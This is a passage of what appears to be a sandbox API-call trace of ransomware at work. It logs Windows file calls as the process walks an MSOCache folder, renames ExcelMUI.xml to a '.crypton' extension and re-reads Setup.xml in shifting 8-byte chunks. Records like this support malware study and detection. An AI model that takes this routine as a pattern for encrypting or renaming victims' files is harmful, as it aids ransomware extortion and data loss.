lpNumberOfBytesRead=0x4aba5c*=0x8d, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x85, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7d, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x75, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6d, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x65, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5d, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x55, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x45, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x35, lpOverlapped=0x0) returned 1 [0068.911] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d, lpOverlapped=0x0) returned 1 [0068.912] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x25, lpOverlapped=0x0) returned 1 [0068.912] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x1d, lpOverlapped=0x0) returned 1 [0068.912] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x15, lpOverlapped=0x0) returned 1 [0068.912] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xd, lpOverlapped=0x0) returned 1 [0068.912] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5, lpOverlapped=0x0) returned 1 [0068.912] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x0, lpOverlapped=0x0) returned 1 [0068.912] AreFileApisANSI () returned 1 [0068.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0068.912] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9a) returned 0x536b88 [0068.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=77 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 77 [0068.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0068.912] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xaa) returned 0x54a680 [0068.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=85 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.crypton") returned 85 [0068.912] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.crypton"), dwFlags=0x2) returned 1 [0068.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0068.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0068.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0068.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.913] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.913] AreFileApisANSI () returned 1 [0068.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0068.913] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9a) returned 0x536b88 [0068.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=77 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 77 [0068.913] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0068.913] GetLastError () returned 0x2 [0068.913] AreFileApisANSI () returned 1 [0068.913] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml", lpFilePart=0x0) returned 0x4b [0068.913] GetLastError () returned 0x2 [0068.913] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0068.913] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.913] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0068.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0068.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.914] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.914] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.914] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.914] AreFileApisANSI () returned 1 [0068.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0068.914] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x94) returned 0x536b88 [0068.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0068.914] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0068.915] GetFileType (hFile=0x190) returned 0x1 [0068.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0068.915] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4abb08 | out: lpNewFilePointer=0x0) returned 1 [0068.915] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ababc | out: lpNewFilePointer=0x0) returned 1 [0068.915] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0068.915] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.916] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0068.916] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.916] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55ee28 [0068.916] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8f8, lpOverlapped=0x0) returned 1 [0068.917] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.917] GetLastError () returned 0x0 [0068.918] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.918] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8f0, lpOverlapped=0x0) returned 1 [0068.918] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.918] GetLastError () returned 0x0 [0068.918] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.918] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8e8, lpOverlapped=0x0) returned 1 [0068.918] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.918] GetLastError () returned 0x0 [0068.918] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.919] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8e0, lpOverlapped=0x0) returned 1 [0068.919] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.919] GetLastError () returned 0x0 [0068.919] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.919] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8d8, lpOverlapped=0x0) returned 1 [0068.919] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.919] GetLastError () returned 0x0 [0068.919] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.919] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8d0, lpOverlapped=0x0) returned 1 [0068.920] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.920] GetLastError () returned 0x0 [0068.920] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.920] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8c8, lpOverlapped=0x0) returned 1 [0068.920] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.920] GetLastError () returned 0x0 [0068.920] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.920] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8c0, lpOverlapped=0x0) returned 1 [0068.920] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.920] GetLastError () returned 0x0 [0068.920] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.921] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8b8, lpOverlapped=0x0) returned 1 [0068.921] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.921] GetLastError () returned 0x0 [0068.921] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.921] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8b0, lpOverlapped=0x0) returned 1 [0068.921] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.921] GetLastError () returned 0x0 [0068.921] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.921] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8a8, lpOverlapped=0x0) returned 1 [0068.921] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.922] GetLastError () returned 0x0 [0068.922] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.922] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x8a0, lpOverlapped=0x0) returned 1 [0068.922] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.922] GetLastError () returned 0x0 [0068.922] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.922] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x898, lpOverlapped=0x0) returned 1 [0068.922] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.922] GetLastError () returned 0x0 [0068.922] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.923] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x890, lpOverlapped=0x0) returned 1 [0068.923] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.923] GetLastError () returned 0x0 [0068.923] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.923] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x888, lpOverlapped=0x0) returned 1 [0068.923] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.923] GetLastError () returned 0x0 [0068.923] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.923] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x880, lpOverlapped=0x0) returned 1 [0068.923] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.924] GetLastError () returned 0x0 [0068.924] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.924] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x878, lpOverlapped=0x0) returned 1 [0068.924] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.924] GetLastError () returned 0x0 [0068.924] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.924] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x870, lpOverlapped=0x0) returned 1 [0068.924] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.924] GetLastError () returned 0x0 [0068.924] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.925] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x868, lpOverlapped=0x0) returned 1 [0068.926] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.926] GetLastError () returned 0x0 [0068.926] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.926] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x860, lpOverlapped=0x0) returned 1 [0068.926] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.926] GetLastError () returned 0x0 [0068.926] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.927] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x858, lpOverlapped=0x0) returned 1 [0068.927] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.927] GetLastError () returned 0x0 [0068.927] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.927] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x850, lpOverlapped=0x0) returned 1 [0068.927] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.927] GetLastError () returned 0x0 [0068.927] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.927] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x848, lpOverlapped=0x0) returned 1 [0068.927] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.927] GetLastError () returned 0x0 [0068.928] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, 